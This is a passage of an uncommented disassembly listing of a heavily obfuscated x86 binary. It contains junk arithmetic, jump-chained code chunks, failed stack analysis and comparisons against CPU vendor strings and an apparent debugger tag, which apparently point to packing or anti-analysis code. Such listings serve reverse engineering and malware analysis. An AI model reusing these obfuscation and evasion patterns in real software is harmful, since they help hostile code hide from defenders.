00427BE7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042F15E SIZE 00000005 BYTES mov [esp+0], eax pop eax mov dword ptr [ecx], 10001h lea eax, sub_427BF1 jmp loc_42F15E sub_42C786 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, [esi] test ebx, eax jmp loc_42D197 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42C7A4: ; CODE XREF: sub_4266B1:loc_42EFC5j pop edi push 0F62D143h pop eax add eax, 0F0DFC429h mov eax, [eax] or eax, eax jnz loc_428730 jmp loc_42B1FA ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- loc_42C7C0: ; DATA XREF: sub_429BD3-4F7Bo push ecx pushf push 1CB6C4C7h pop ecx add ecx, 0E38BDBEAh popf xchg ecx, [esp] jmp sub_428183 ; --------------------------------------------------------------------------- loc_42C7D7: ; CODE XREF: wto1jq8f:0042FA29j jnz loc_42A244 and esi, 24AAD6DAh ; START OF FUNCTION CHUNK FOR sub_42E04D loc_42C7E3: ; CODE XREF: sub_42E04D+236j mov eax, esi loc_42C7E5: ; CODE XREF: wto1jq8f:loc_42802Ej push edi push 0D932FFA9h jmp loc_42A5EC ; END OF FUNCTION CHUNK FOR sub_42E04D ; --------------------------------------------------------------------------- loc_42C7F0: ; CODE XREF: wto1jq8f:loc_42D412j xor ebp, 0E60A1371h jp loc_4266F6 sbb eax, edi jmp loc_42D974 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42C803: ; CODE XREF: sub_42A6CD:loc_42EB14j mov byte ptr [eax+edx], 0 inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_425E60 jmp loc_428D1D ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- jnp loc_42D926 not eax jmp sub_428295 ; --------------------------------------------------------------------------- loc_42C829: ; DATA XREF: sub_4273F7+5o mov edx, 0C90D1845h call sub_429165 push offset loc_42C54C jmp loc_4270CB ; --------------------------------------------------------------------------- loc_42C83D: ; CODE XREF: wto1jq8f:loc_42EC74j or ecx, 0F0B210D0h add ecx, 5504F83h xchg ecx, [esp] jmp sub_42AECE ; --------------------------------------------------------------------------- loc_42C851: ; CODE XREF: wto1jq8f:0042AFBAj jo loc_42672F shr eax, 1 ; =============== S U B R O U T I N E ======================================= sub_42C859 proc near ; CODE XREF: sub_4262F5:loc_42B125p ; FUNCTION CHUNK AT 004281F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B1AF SIZE 0000001E BYTES xchg ecx, [esp+0] pop ecx jmp loc_4281F0 sub_42C859 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF9A loc_42C863: ; CODE XREF: sub_42FF9A+7j jmp loc_42C9A1 ; END OF FUNCTION CHUNK FOR sub_42FF9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD35 loc_42C868: ; CODE XREF: sub_42CD35+167Cj jmp loc_42C1CB ; END OF FUNCTION CHUNK FOR sub_42CD35 ; --------------------------------------------------------------------------- and ecx, 0B62FF943h jmp sub_429308 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42C878: ; CODE XREF: sub_425CE2+6D4Aj jnz loc_42948B jmp loc_429DD1 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42C883: ; CODE XREF: sub_42E9E8-A85j push offset loc_426EBF jmp loc_42A568 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= sub_42C88D proc near ; DATA XREF: sub_426D31+Eo ; FUNCTION CHUNK AT 00428FB7 SIZE 00000005 BYTES call sub_429165 call sub_424585 mov edx, 6A74FD15h push offset sub_424F31 jmp loc_428FB7 sub_42C88D endp ; --------------------------------------------------------------------------- loc_42C8A6: ; CODE XREF: wto1jq8f:loc_42660Aj add eax, 0CF59C919h xchg eax, ebp push ebp xchg eax, ebp jmp loc_42D6EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42C8B6: ; CODE XREF: sub_429BFF-5859j jge loc_42DA1A loc_42C8BC: ; CODE XREF: sub_42FE77+Cj jmp loc_428918 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B990 loc_42C8C1: ; CODE XREF: sub_42B990+7j jmp loc_42E8E9 ; END OF FUNCTION CHUNK FOR sub_42B990 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424DA0 loc_42C8C6: ; CODE XREF: sub_424DA0+5DB6j jmp sub_428C71 ; END OF FUNCTION CHUNK FOR sub_424DA0 ; --------------------------------------------------------------------------- cdq jmp loc_425F3A ; --------------------------------------------------------------------------- loc_42C8D1: ; CODE XREF: wto1jq8f:loc_424C05j ; wto1jq8f:004283EAj add eax, edx xor eax, ebx add eax, ecx xor eax, esi jmp loc_425F8C ; --------------------------------------------------------------------------- push 0A91270C4h jmp sub_42F863 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F947 loc_42C8E8: ; CODE XREF: sub_42F947-B2E4j call sub_429F7D ; END OF FUNCTION CHUNK FOR sub_42F947 ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42C8ED: ; CODE XREF: sub_42A6CD+161Cj sbb esi, eax and ecx, esi loc_42C8F1: ; CODE XREF: sub_42A6CD:loc_42A529j push edx push 4CF65616h jmp loc_425AB2 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42C8FC: ; CODE XREF: sub_426C0C:loc_4246F2j push offset loc_42FDCC jmp nullsub_130 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42C906: ; CODE XREF: sub_428333-3679j ; sub_42506F:loc_42B424j jnz loc_42E2BD jmp loc_42920C ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- locret_42C911: ; CODE XREF: wto1jq8f:0042AAF1j retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: wto1jq8f:0042A662j ; wto1jq8f:0042F3ABj ; DATA XREF: ... jb loc_42B061 mov eax, ds:dword_429558 mov edx, [ebp-4] mov byte ptr [eax+edx], 0 jmp loc_42F3A1 ; --------------------------------------------------------------------------- loc_42C929: ; CODE XREF: wto1jq8f:loc_42E712j xchg ecx, [esp] push ebx push 0A95B90DCh mov ebx, offset loc_42C1A6 jmp loc_42C19D ; =============== S U B R O U T I N E ======================================= sub_42C93C proc near ; CODE XREF: wto1jq8f:00427096j ; wto1jq8f:0042F2DDp ; FUNCTION CHUNK AT 0042A1E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FBAB SIZE 0000000A BYTES mov [esp+0], edx pop edx push 7BA7B4CBh pop edx sub edx, 5634AF61h jmp loc_42FBAB sub_42C93C endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp ebp, ebx jmp loc_42F4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_42C958: ; CODE XREF: sub_42C4E2+17j call sub_42F75D or edi, esi jmp sub_42A197 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42C964: ; CODE XREF: sub_426C0C:loc_42C3F8j jz loc_42A866 jmp loc_42FC63 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- pop ebp jmp sub_42821F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42C975: ; CODE XREF: sub_4283CC:loc_42F8EBj xchg eax, ebx push ebx call sub_42F776 loc_42C97D: ; CODE XREF: wto1jq8f:0042E279j jmp loc_426159 ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_42C982: ; CODE XREF: sub_42C0D7+3j jmp loc_42756D ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42C988: ; CODE XREF: sub_4293FF-9C3j jnb loc_42D2F3 or eax, ecx ; END OF FUNCTION CHUNK FOR sub_4293FF ; =============== S U B R O U T I N E ======================================= sub_42C990 proc near ; CODE XREF: sub_42E9E8+1ACp ; FUNCTION CHUNK AT 0042502C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004295F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A960 SIZE 00000005 BYTES mov [esp+0], edx pop edx add eax, 5C7D6F5Eh add eax, ebp jmp loc_4295F9 sub_42C990 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF9A loc_42C9A1: ; CODE XREF: sub_42FF9A:loc_42C863j push eax push edx push ecx pushf jmp loc_429AD3 ; END OF FUNCTION CHUNK FOR sub_42FF9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_42C9AA: ; CODE XREF: sub_428D47+1AF7j pushf push offset sub_426AD4 jmp nullsub_210 ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- loc_42C9B5: ; DATA XREF: sub_424585:loc_42A3D0o mov eax, offset dword_42DAF4 call sub_42A56D call sub_42C031 ; START OF FUNCTION CHUNK FOR sub_424D3A loc_42C9C4: ; CODE XREF: sub_424D3A+8B75j jmp loc_42B8EB ; END OF FUNCTION CHUNK FOR sub_424D3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42C9C9: ; CODE XREF: sub_42D9D9:loc_424924j jnz loc_42ACA1 jmp loc_42D40D ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42C9D4: ; CODE XREF: sub_42BE69:loc_4242D1j mov eax, [ebp-1Ch] call sub_42AEDD loc_42C9DC: ; DATA XREF: sub_4280E6+9o push 0F5404057h pop eax add eax, 0B026CA5h mov eax, [eax] or eax, eax jnz loc_4296AB jmp loc_42E5D7 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_42C9F7: ; CODE XREF: sub_4262CE-14DCj or edx, esi sbb ebx, 0E89C1A80h mov ebp, edi test esi, 0EC4E861Dh jmp loc_42AE10 ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- loc_42CA0C: ; CODE XREF: wto1jq8f:00424426j ja loc_42ED72 ; =============== S U B R O U T I N E ======================================= sub_42CA12 proc near ; CODE XREF: sub_426E98+5556p ; FUNCTION CHUNK AT 0042EC6F SIZE 00000005 BYTES mov [esp+0], esi pop esi inc dword ptr [ebp-1Ch] jmp loc_42EC6F sub_42CA12 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ACD6 loc_42CA1E: ; CODE XREF: sub_42ACD6+173Cj inc [ebp+var_1C] jmp loc_42E44A ; END OF FUNCTION CHUNK FOR sub_42ACD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_42CA26: ; CODE XREF: sub_425CE2+3589j ; sub_4260A9+8BF7j inc dword ptr [ebp-18h] dec dword ptr [ebp-24h] jmp loc_42C878 ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42CA31: ; CODE XREF: sub_424F7A+313Bj push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAED loc_42CA38: ; CODE XREF: sub_42EAED+16j jmp loc_426E7D ; END OF FUNCTION CHUNK FOR sub_42EAED ; =============== S U B R O U T I N E ======================================= sub_42CA3D proc near ; CODE XREF: sub_42E676:loc_425EC2j ; FUNCTION CHUNK AT 0042491A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CDC5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F327 SIZE 0000000B BYTES push ebp jmp loc_42F327 sub_42CA3D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42CA43: ; CODE XREF: sub_4283CC+6B48j mov [edi], esi jmp loc_42A778 ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42CA4A: ; CODE XREF: sub_42760F+66F1j mov eax, [ebp-14h] push eax push 28h push 389AE3A3h pop eax and eax, 1D613739h add eax, 0B8CF3FDFh add eax, ebp jmp loc_42D48C ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- push edx mov edx, 8547F968h jmp sub_4240DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42CA74: ; CODE XREF: sub_427143+7CE5j add eax, 2026C03Bh xchg eax, [esp+0] jmp loc_42BCCA ; END OF FUNCTION CHUNK FOR sub_427143 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B019 loc_42CA83: ; CODE XREF: wto1jq8f:00426D1Ej ; sub_42B019+9j jmp nullsub_116 ; END OF FUNCTION CHUNK FOR sub_42B019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D343 loc_42CA88: ; CODE XREF: sub_42D343+Aj sub ebx, 0A2EB8D78h xor ebx, 192B2977h add ebx, 0AC66E6EBh xchg ebx, [esp+0] jmp loc_426EC9 ; END OF FUNCTION CHUNK FOR sub_42D343 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_42CAA2: ; CODE XREF: sub_42F2C7:loc_4278F9j xor ebx, edi xchg edx, ebp push ecx jmp loc_42B696 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DEFF loc_42CAAC: ; CODE XREF: sub_42DEFF:loc_427949j cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_42B03D ; --------------------------------------------------------------------------- loc_42CABD: ; CODE XREF: sub_42DEFF:loc_42C73Ej cmp dword ptr [ebp-4], 2 jnz loc_426545 push 92379EA8h pop eax jmp loc_42AA4E ; END OF FUNCTION CHUNK FOR sub_42DEFF ; --------------------------------------------------------------------------- locret_42CAD2: ; CODE XREF: wto1jq8f:0042EF98j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42CAD3: ; CODE XREF: sub_42A8ED-64A6j jmp loc_428D32 ; END OF FUNCTION CHUNK FOR sub_42A8ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42CAD8: ; CODE XREF: sub_426C0C-19Fj test ebp, ebx jmp loc_42EB35 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- db 6Ah dword_42CAE0 dd 0 ; sub_426166+4r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A19 loc_42CAE4: ; CODE XREF: sub_428A19-B85j jmp loc_424DD4 ; END OF FUNCTION CHUNK FOR sub_428A19 ; --------------------------------------------------------------------------- db 7Ch, 0DCh, 3Dh dword_42CAEC dd 0 ; sub_426950+1B37r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42CAF0: ; CODE XREF: sub_426E98+DA0j jmp loc_42E0A0 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- db 2Dh, 13h, 7Fh dword_42CAF8 dd 0 ; sub_42ED01+6o ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_42CAFC: ; CODE XREF: sub_42A0E5-3BB5j jmp sub_42B10A ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; --------------------------------------------------------------------------- db 0E6h, 88h, 0Dh align 8 ; START OF FUNCTION CHUNK FOR sub_426144 loc_42CB08: ; CODE XREF: sub_426144:loc_428328j jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- loc_42CB0D: ; DATA XREF: sub_428DBE+2D86o call sub_42B02D mov ds:dword_42DAE4, eax lea eax, [ebp-14h] ; START OF FUNCTION CHUNK FOR sub_42C031 loc_42CB1A: ; CODE XREF: sub_42C031:loc_428A8Aj xor edx, edx jmp loc_42F109 ; END OF FUNCTION CHUNK FOR sub_42C031 ; --------------------------------------------------------------------------- mov edx, edi jg loc_42FB1D jmp sub_42D53B ; --------------------------------------------------------------------------- loc_42CB2E: ; DATA XREF: sub_42F50F-540Ao mov [ebp-0Ch], eax jmp loc_4267C4 ; =============== S U B R O U T I N E ======================================= sub_42CB36 proc near ; CODE XREF: sub_429B76-59EDp ; sub_42A909-6490p ... ; FUNCTION CHUNK AT 004246CA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004246E0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00424D04 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004267E6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042794E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042965A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042BC8F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042CD90 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EB9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F1E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FB6C SIZE 00000005 BYTES jns loc_42965A mov eax, ds:dword_42F1CC or eax, eax jmp loc_4246E0 sub_42CB36 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42CB49 proc near ; DATA XREF: wto1jq8f:00428A5Do ; FUNCTION CHUNK AT 00425019 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00425A62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426CD2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004284E1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A78A SIZE 00000018 BYTES and eax, 0FFFh add [esi], eax and edx, 0FFFFDDFFh xor [esi], edx push 1310AF5Dh pop eax jmp loc_425A62 sub_42CB49 endp ; =============== S U B R O U T I N E ======================================= sub_42CB63 proc near ; CODE XREF: wto1jq8f:0042CDBFj ; sub_42D53B:loc_42F4DEp ; FUNCTION CHUNK AT 004248B8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00426043 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004262A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A5E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426E89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F8F0 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx test byte ptr [ebp-8], 20h jz loc_426A5E push ebp mov eax, [ebp-20h] jmp loc_426E89 sub_42CB63 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_42CB7A: ; CODE XREF: sub_42D434:loc_42A803j pop eax xor eax, 4CF7484Dh add eax, ebp jmp loc_427538 ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- loc_42CB88: ; CODE XREF: wto1jq8f:loc_42C542j xor [esi], ebx add [esi], edx xor [esi], ecx cmp ebx, 756E6547h jz loc_42D1F3 cmp ebx, 68747541h jz loc_429196 jmp loc_42868D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42CBAB: ; CODE XREF: sub_42C486:loc_42A1C2j jnz loc_425BDD jmp loc_42DA2D ; END OF FUNCTION CHUNK FOR sub_42C486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B3D loc_42CBB7: ; CODE XREF: sub_427B3D+14j jmp loc_427FD8 ; END OF FUNCTION CHUNK FOR sub_427B3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42CBBC: ; CODE XREF: sub_425944-13A0j jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242D6 loc_42CBC1: ; CODE XREF: sub_4242D6+6j jmp loc_42AB5B ; END OF FUNCTION CHUNK FOR sub_4242D6 ; --------------------------------------------------------------------------- loc_42CBC6: ; CODE XREF: wto1jq8f:0042663Fj jz loc_4248D9 jmp loc_42F594 ; =============== S U B R O U T I N E ======================================= sub_42CBD1 proc near ; CODE XREF: wto1jq8f:00428B61j ; sub_425F4F+4EFAp ; FUNCTION CHUNK AT 00427D1C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004287EB SIZE 00000012 BYTES mov [esp+0], ebx pop ebx mov edx, 0EEE68DF1h call sub_429165 push eax rol eax, 16h push ebx push 0C7F79376h jmp loc_427D1C sub_42CBD1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42CBEE proc near ; CODE XREF: sub_424351+3j add esp, 0FFFFFFF8h mov [ebp-1], al cmp byte ptr [ebp-1], 0 jz loc_426A54 mov dword ptr [ebp-8], 1 sub_42CBEE endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42433B loc_42CC05: ; CODE XREF: sub_42433B:loc_424B6Bj ; sub_42433B+271Ej mov eax, [ebp-8] loc_42CC08: ; CODE XREF: wto1jq8f:0042EB73j pop ecx pop ecx jmp loc_426A48 ; END OF FUNCTION CHUNK FOR sub_42433B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42CC0F: ; CODE XREF: sub_426968:loc_42B141j push ecx push 0D148CFE3h pop ecx add ecx, 2EF97A37h xchg ecx, [esp+4+var_4] jmp loc_4264EA ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- loc_42CC24: ; DATA XREF: sub_42D9D9:loc_42D0A2o js loc_426818 cmp dword ptr [ebp-1Ch], 0Fh jnz loc_42EE9A push offset loc_42BBEF jmp locret_4276FB ; --------------------------------------------------------------------------- xchg ebp, esi jmp sub_4245FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42CC45: ; CODE XREF: sub_42606D:loc_429561j div ecx push ecx push 0F35CDE1h pop ecx jmp loc_42B507 ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- shl ebx, 1 jmp sub_42859D ; --------------------------------------------------------------------------- locret_42CC5A: ; CODE XREF: wto1jq8f:0042783Bj retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: wto1jq8f:004283F5j jmp locret_42A7FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_42CC60: ; CODE XREF: sub_4240DC+Cj and eax, 82770DE9h xor eax, 39C484D6h add eax, ebp push edx push 0B972B995h pop edx add edx, 0EB1DEC25h or edx, 786C3187h jmp loc_428106 ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42CC86: ; CODE XREF: sub_42AECE:loc_42FACAj jz loc_427125 jmp loc_42FF90 ; END OF FUNCTION CHUNK FOR sub_42AECE ; --------------------------------------------------------------------------- jg loc_42DA0B jmp sub_426D31 ; --------------------------------------------------------------------------- push eax rol eax, 19h push esi push 38F8CA1h pop esi or esi, 0A68CB367h jmp loc_42FBA1 ; --------------------------------------------------------------------------- loc_42CCB2: ; DATA XREF: sub_42B990+2F5Fo pop edx pop ecx xchg ecx, [esp] mov eax, ecx pop ecx pop ebp jmp loc_428B27 ; --------------------------------------------------------------------------- call sub_42FF9A ; START OF FUNCTION CHUNK FOR sub_42DA35 loc_42CCC5: ; CODE XREF: sub_42DA35:loc_42DA3Dj push ecx xchg edx, edi ; END OF FUNCTION CHUNK FOR sub_42DA35 ; START OF FUNCTION CHUNK FOR sub_42628C loc_42CCC8: ; CODE XREF: sub_42628C:loc_42D14Aj push edi call sub_42B276 loc_42CCCE: ; CODE XREF: wto1jq8f:00429725j ; wto1jq8f:0042C2F1j jmp loc_42ABA0 ; END OF FUNCTION CHUNK FOR sub_42628C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F7AD loc_42CCD4: ; CODE XREF: sub_42F7AD+Dj jmp loc_42DE07 ; END OF FUNCTION CHUNK FOR sub_42F7AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_42CCD9: ; CODE XREF: sub_42F2C7+10j jmp loc_42AC0A ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42CCDE: ; CODE XREF: sub_429BFF+3B4Fj jmp loc_42438C ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C670 loc_42CCE3: ; CODE XREF: sub_42C670+11j jmp loc_42960E ; END OF FUNCTION CHUNK FOR sub_42C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42CCE8: ; CODE XREF: sub_42A6CD-4C08j jmp sub_42776C ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282FE loc_42CCED: ; CODE XREF: sub_4282FE:loc_42B168j push 0ECDE9AFh pop edx xor edx, 0ACE6AF53h push offset loc_42C2C6 jmp nullsub_83 ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- loc_42CD03: ; CODE XREF: wto1jq8f:loc_425B73j ; wto1jq8f:0042FA67j push edx push 89A821F6h pop edx or edx, 0F333408h add edx, 70870E6Ah xchg edx, [esp] jmp loc_42A420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_42CD1E: ; CODE XREF: sub_42A3DA:loc_4281F5j push offset loc_42E1BA jmp loc_42FB94 ; END OF FUNCTION CHUNK FOR sub_42A3DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42CD28: ; CODE XREF: sub_429471:loc_42B60Aj jnz loc_4260C5 jmp loc_42A037 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- loc_42CD33: ; CODE XREF: wto1jq8f:0042F84Cj xchg edx, [ebx] ; =============== S U B R O U T I N E ======================================= sub_42CD35 proc near ; CODE XREF: sub_42CB63:loc_4262A6p ; FUNCTION CHUNK AT 0042995A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C868 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E3AD SIZE 00000009 BYTES xchg eax, [esp+0] pop eax call sub_42E3B6 jmp loc_42995A sub_42CD35 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42CD43: ; CODE XREF: wto1jq8f:00425E16j pop ecx loc_42CD44: ; CODE XREF: wto1jq8f:loc_42B722j push eax push 82482BC4h pop eax xor eax, 0CA16A81Ch test eax, 4 jmp loc_42602A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C71 loc_42CD5C: ; CODE XREF: sub_428C71:loc_428C7Dj call sub_42D368 loc_42CD61: ; DATA XREF: sub_426535-24DAo push eax call sub_42DFE5 cmp dword ptr [ebp-0Ch], 0 jz loc_42E061 loc_42CD71: ; CODE XREF: sub_42D69D+1374j jmp loc_42B6A8 ; END OF FUNCTION CHUNK FOR sub_428C71 ; --------------------------------------------------------------------------- jnb sub_42750A jmp sub_42A617 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_42CD81: ; CODE XREF: sub_42C4E2+20j push eax cmp dword ptr [ebp-14h], 5 push offset sub_42E541 jmp loc_42ECC0 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42CD90: ; CODE XREF: sub_42CB36:loc_42FB6Cj jnz loc_42C73E jmp loc_42F1E4 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F5E5 loc_42CD9B: ; CODE XREF: sub_42F5E5-49E0j ror edx, 18h shl eax, 4 push 1F8E6A66h pop eax add eax, 698A7CDCh xor eax, 0C3488653h jmp loc_428E97 ; END OF FUNCTION CHUNK FOR sub_42F5E5 ; --------------------------------------------------------------------------- or eax, 0C98AD736h push edx jmp sub_42CB63 ; --------------------------------------------------------------------------- locret_42CDC4: ; CODE XREF: wto1jq8f:loc_42E646j retn 